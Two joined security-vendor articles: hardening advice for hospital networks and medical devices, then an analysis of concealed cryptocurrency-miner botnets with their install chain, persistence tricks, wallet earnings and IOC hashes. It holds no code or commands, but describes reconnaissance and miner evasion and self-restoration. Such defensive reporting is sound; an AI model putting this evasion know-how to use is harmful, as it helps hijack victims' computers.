Results that had been obtained during research that we discussed in a previous article called for a more detailed analysis of the security problem, but now from within medical institutions (with the consent of their owners, of course). The analysis allowed us to work on mistakes and give a series of recommendations for IT experts who service medical infrastructure.

Incorrect diagnosis is the first step to a fatal outcome

Providing data security in medicine is an issue that is more serious than it may seem at first glance. The most obvious scenario, which is the theft and reselling of medical data on the black market, does not seem as scary as the possibility of diagnostic data being modified by evildoers. Regardless of the goals of evildoers (extorting money from hospital owners or attacks targeted at specific patients), nothing good comes to patients as a result: after receiving incorrect data, doctors may prescribe the wrong course of treatment. Even if data substitution is detected in time, the normal operation of the medical institution may be disrupted, prompting the need to recheck all of the information stored on compromised equipment.

According to a report by the Centers for Disease Control and Prevention (CDC), the third leading cause of death in the USA comes from medical errors. Establishing a correct diagnosis depends on, aside from the qualification of a patient’s doctor, the correctness of data that is received from medical devices and stored on medical servers. This means that the resources for connected medicine produce an increased attraction for evildoers.

What is connected medicine?

This term refers to a large number of workstations, servers, and dedicated medical equipment that are connected to the network of a medical institution (a simplified model is shown in the figure below).

The network topology of connected medicine

Contemporary diagnostic devices can be connected to the LAN of an organization or to workstations through, for example, USB connections. Medical equipment quite often processes data (for example, a patient’s photographs) in DICOM format, which is an industry standard for images and documents. In order to store them and provide access to them from outside, PACSs (Picture Archiving and Communication Systems) are used, which can also be of interest to evildoers.

Recommendation #1: remove all nodes that process medical data from public access

It should be obvious that medical information should remain exclusively within the LAN of an institution. Currently, however, more than one thousand DICOM devices are in public access, which is confirmed by statistics obtained by using the Shodan search engine.

The geographical spread of DICOM devices (according to data from the Shodan search engine)

Generally, all types of PACS servers, which store information valuable to evildoers, are in public access. PACSs should be placed within the corporate perimeter, insulated from unauthorized use by third parties, and periodically backed up.

style=”margin-bottom:0!important”>

Recommendation #2: assign counter-intuitive names to resources

Even during the reconnaissance phase, attackers can obtain data that is important for an attack. So, for example, when enumerating available resources, they can find out the names of internal resources (servers and workstations) and thus determine which network nodes are useful to them and which ones are not.

Data about resources on the LAN of an organization that was obtained using open sources

To cite “interesting” resources as an example, let’s note database servers and other locations where medical information is collected. Aside from that, attackers may use obvious resource names to identify workstations with connected medial equipment.

An example of poor naming of internal resources on the LAN of a medical institution, which shows attackers where valuable data is kept

In order to make things harder for evildoers, obvious naming practices should be avoided. There are recommendations out there on how to name workstations and servers that have been compiled by competent organizations. We suggest that you take a look.

Recommendation #3: periodically update your installed software and remove unwanted applications

Evildoers may find many potential entry points when analyzing installed software on network nodes that process valuable information. In the example below, a workstation has several applications installed that have nothing to do with medicine (the W32.Mydoom worm and the Half-Life Engine game server). Additionally, that list has a series of applications that have critical vulnerabilities with published exploits.

An example of software installed on a workstation with connected medical equipment

One more example of such a careless approach is the installation of third-party software on a server that is responsible for the operation of the institution’s web portal, which allows doctors and patients to remotely access medical data.

A server with a tool for viewing DICOM images that has third-party software as well

In order to rule out the possibility of data access via third-party software, installed applications should be regularly inspected and updated. There should be no extra software on workstations with connected medical equipment.

An example of a vulnerable medical web portal that contains critical vulnerabilities that lead to medical data.

Recommendation #4: refrain from connecting expensive equipment to the main LAN of your organization

Medical devices used to help perform diagnoses and operations are very often expensive in terms of maintenance (for example, calibration), which requires significant financial investments from the owner.

An evildoer who gains access to equipment or a workstation with a connected device may:

style=”margin-bottom:0!important”>

  • exfiltrate medical data directly from the device;
  • spoof diagnostic information;
  • reset equipment settings, which will lead to unreliable data output or temporary incapacitation.

In order to gain access to data that is produced by the device, an evildoer only has to search for specific software.

An evildoer may isolate medical applications on the list of installed software on a workstation and modify operation parameters for medical equipment

To prevent unauthorized access to equipment, it is necessary to isolate all of the medical devices and workstations connected to them as a separate LAN segment and provide a means to carefully monitor events occurring in that segment (see also recommendation #5).

Recommendation #5: provide timely detection of malicious activity on your LAN

When there’s no opportunity to install a security solution directly on the device itself (sometimes warranties prohibit any modifications at the operating system level), alternative options for detecting and/or confounding evildoers should be found. We discussed one of these options in the article titled “Deceive in Order to Detect”.

The defending party may prepare a set of dedicated traps, which consist of LAN nodes that simulate medical equipment. Any unauthorized access to them may serve as a signal that someone has compromised the network and that the IT department of the medical institution should take appropriate action.

There are numerous methods for detecting malicious activity, and there is no sense in listing all of them as recommendations. Every IT department bases its choice of technology, products, and strategies for providing informational security on a large number of factors (the network size, resource priorities, available finances, etc.). Still, it is important to remember the main thing, which is that a lack of protection in medical infrastructure may cost the lives of patients.

Miners on the Rise

Miners are a class of malware whose popularity has grown substantially this year. The actual process of cryptocurrency mining is perfectly legal, though there are groups of people who hoodwink unwitting users into installing mining software on their computers, or exploiting software vulnerabilities to do so. This results in threat actors receiving cryptocurrency, while their victims’ computer systems experience a dramatic slowdown. Over the last month alone, we have detected several large botnets designed to profit from concealed crypto mining. We have also observed growing numbers of attempts to install miners on servers owned by organizations. When these attempts are successful, the companies’ business processes suffer because data processing speeds fall substantially.

In general, the number of users that have encountered cryptocurrency miners has increased dramatically in recent years. For example, in 2013 our products protected around 205,000 of users globally when they were targeted by this type of threat. In 2014 the number increased to 701,000, and the number of attacked users in the first eight months of 2017 reached 1.65 million.

Number of users Kaspersky Lab protected from malicious cryptocurrency miners from 2011 to 2017

Propagation methods

The main method for installing miners makes use of adware installers that are spread using social engineering. There are also more sophisticated propagation methods – one is exploiting vulnerabilities such as EternalBlue. In that case, the victim is a server, which is especially advantageous for the threat actors because they end up with a more powerful asset.

The following types of ads can be found in the Telegram messaging service:

Advert for a mining builder in a Telegram channel advertising opportunities to earn money online

By following the advertised link, the user can download a trial version of a builder which assembles a dropper for a miner with some extra features, including suspension of the software whenever the user launches a popular game.

The miner’s builder

To receive the full version, the user is prompted to contact the administrators of a group on the VKontakte social media site.

Main principles of operation

Concealed miners are very difficult to detect due to their specific nature and operating principles. Any user can independently install this kind of software on their computer and legally use it for mining a cryptocurrency.

Often, a crypto miner comes with extra services to maintain its presence within the system, automatic launch every time the computer is switched on, and concealed operation.

These services can, for example:

style=”margin-bottom:0!important”>

  • Try to turn off security software;
  • Track all application launches, and suspend their own activities if a program is started that monitors system activities or running processes;
  • Ensure a copy of the mining software is always present on the hard drive, and restore it if it is deleted.

The miner searches for system monitoring tools

We recently detected a network containing an estimated 5,000+ computers on which Minergate, a legal console miner, was installed without the users’ knowledge or consent. The software was distributed via an adware installer, and was installed as a service on the victim computer in the following way:

Minergate installation

  • The user downloads an installer from a file hosting service under the guise of a freeware program or keys to activate licensed products;
  • When launched, the installer downloads the miner’s dropper (exe) to the victim computer;
  • The dropper writes Minergate and the tool exe to the hard drive, using srvany.exe when the system boots to launch the miner as a service named windows driver.exe;
  • The dropper creates an additional service named exe which ensures the continuous operation of Minergate; if Minergate is deleted, the dropper restores it on the hard drive.

The dropper stores the miner configuration info in a registry record.

MinerGate’s configuration data

Moneymaking scheme

The two currencies most often used in concealed mining are monero (XMR) and zcash. These two ensure the anonymity of transactions, which comes in very handy for threat actors.

According to the most conservative estimates, the mining network can generate anything up to $30,000 a month to its owners.

The wallet of a mining botnet

The above screenshot shows a wallet coded into the miner’s configuration data. At the time of writing, a total of 2,289 XMR had been transferred from this wallet, which at the current exchange rate is equivalent to $208,299.

Assuming a regular desktop computer yields a hash rate of 30-100 H/sec, this bot may contain in the region of 4,000 computers.

Hash rates of the mining botnet plotted against time

Conclusion

As we see, threat actors will grasp any opportunity to make illegal money, and the methods to make money online are continuously evolving. The development of the cryptocurrency market has led to an explosive growth in cases where miners are installed without users’ knowledge or consent. This can be explained by the fact that when a new cryptocurrency is emerging, it is much easier to mine and make money from it. Threat actors are on the lookout for ways to use the resources of somebody else’s hardware, and often it is regular users who fall victim.

Kaspersky Lab’s solutions detect all the threats described in this article under the verdicts:

style=”margin-bottom:0!important”>

  • Win32.BitCoinMiner.hxao
  • PDM:Trojan.Win32.Generic

IOCs:

185b23c602e64dc6bcd2a2776095653e
33e46f76bc9bf1ff8380406f111f56af
26f42df21371bd4afe86a643ac0a6b44
25451e6fe30b54b432854bde5b9abb74